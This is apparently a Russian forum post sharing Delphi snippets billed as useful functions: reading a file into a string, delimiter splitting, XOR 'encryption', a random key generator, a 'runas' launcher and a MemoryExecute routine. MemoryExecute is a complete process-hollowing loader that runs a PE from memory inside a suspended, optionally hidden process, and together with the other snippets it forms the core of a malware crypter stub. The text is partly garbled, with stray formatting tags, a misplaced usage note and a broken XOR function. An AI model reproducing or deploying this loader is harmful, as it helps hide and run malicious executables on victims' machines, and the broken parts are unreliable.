Самые Полезные Функции И Процедуры "обновляются"

[Lomanu4]

Процедура считывает наш файл, получает строку данных из файла в формате String:

Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;

)В этой функции удаляем строку Delimitador, который разделяет несколько строк, на выходе получим нужный массив строк:
Где Buffer - указатель на нашу строку данных файла, Visible - режим запуска, скрытый или нет.

Как юзать:

memoryexecute(@FileString, '', true);

Запустит в скрытом режиме наш файл !

function SplitMetal(Texto, Delimitador: string): TSarray;
var
  o: integer;
  PosDel: integer;
  Aux: string;
begin
  o := 0;
  Aux := Texto;
  setlength(Result, length(Aux));
  repeat
    PosDel := Pos(Delimitador, Aux) - 1;
    if PosDel = -1 then
    begin
      Result[o] := Aux;
      break;
    end;
    Result[o] := copy(Aux, 1, PosDel);
    delete(Aux, 1, PosDel + length(Delimitador));
    inc(o);
  until Aux = '';
end;

Процедура шифрования XOR:

Function XORizo(Text, Pass: string): string;[/I]
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
    begin
    Res:= Res + Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
    inc(p);
    if p > Length(Pass) then p:= 1;
    end;
SetLength(Result, Length(Res));
Result:= Res;
end;[I]

Эта процедура запустит файл в памяти:

[/I]Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID        = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR    = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;
  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo          :TProcessInformation;
  StartupInfo          :TStartupInfo;
  Context              :TContext;
  BaseAddress          :Pointer;
  BytesRead            :DWORD;
  BytesWritten          :DWORD;
  I :ULONG;
  OldProtect            :ULONG;
  NTHeaders            :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success              :Boolean;
  ProcessName          :string;
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
NTHeader.FileHeader.SizeOfOptionalHeader);

End;
Function Protect(Characteristics: ULONG): ULONG;
Const
Mapping      :Array[0..7] Of ULONG = (
PAGE_NOACCESS,
PAGE_EXECUTE,
PAGE_READONLY,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,
PAGE_READWRITE,
PAGE_EXECUTE_READWRITE  );
Begin
Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
  StartupInfo.wShowWindow := SW_NORMAL
  else
  StartupInfo.wShowWindow := SW_Hide;
  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
  False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
        If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
        Begin
          NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
          BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                         Pointer(NTHeaders.OptionalHeader.ImageBase),
                                         NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                         PAGE_READWRITE);
          If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
             Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                        Pointer(Cardinal(BaseAddress) +
                                                Sections[I].VirtualAddress),
                                        Pointer(Cardinal(Buffer) +
                                                Sections[I].PointerToRawData),
                                      Sections[I].SizeOfRawData, BytesWritten)) Then
                    VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);
                 If (WriteProcessMemory(ProcessInfo.hProcess,
                                      Pointer(Context.Ebx + 8), @BaseAddress,
                                      SizeOf(BaseAddress), BytesWritten)) Then
                  Begin
                    Context.EAX := ULONG(BaseAddress) +
                                  NTHeaders.OptionalHeader.AddressOfEntryPoint;
                    Success := SetThreadContext(ProcessInfo.hThread, Context);
                  End;
              End;
        End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
[I]End;

Процедура генерирует ключ (пасс) и выводит его в эдит1

procedure Randomize ;
const PassChar = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM*+,-./{|}~!"#$%&()*+';//символы,буквы,цифры используемые в генерируемом ключе
  var
LenPass : integer;
sPass : string;
i, passCharCount : integer;
begin
Randomize;
LenPass := 25;//длина ключа
passCharCount := Length(PassChar);
sPass := '';
for i:=1 to LenPass do
sPass := sPass + PassChar[ Random(passCharCount)+1 ];
Edit1.Text := sPass;
end;

Запуск с правами админа:

procedure RunAsAdministrator(const source: string);
var
  shExecInfo: PSHELLEXECUTEINFOA;
begin
  New(shExecInfo);
  shExecInfo^.cbSize := sizeof(SHELLEXECUTEINFO);
  shExecInfo^.fMask := 0;
  shExecInfo^.Wnd := 0;
  shExecInfo^.lpVerb := 'runas';
  shExecInfo^.lpFile := PAnsiChar(ExtractFileName(source));
  shExecInfo^.lpParameters := '';
  shExecInfo^.lpDirectory := PAnsiChar(ExtractFilePath(source));
  shExecInfo^.nShow := SW_SHOWNORMAL;
  shExecInfo^.hInstApp := 0;
  ShellExeCuteex(shExecInfo);
  Dispose(shExecInfo);
//  shExecInfo := nil;
end;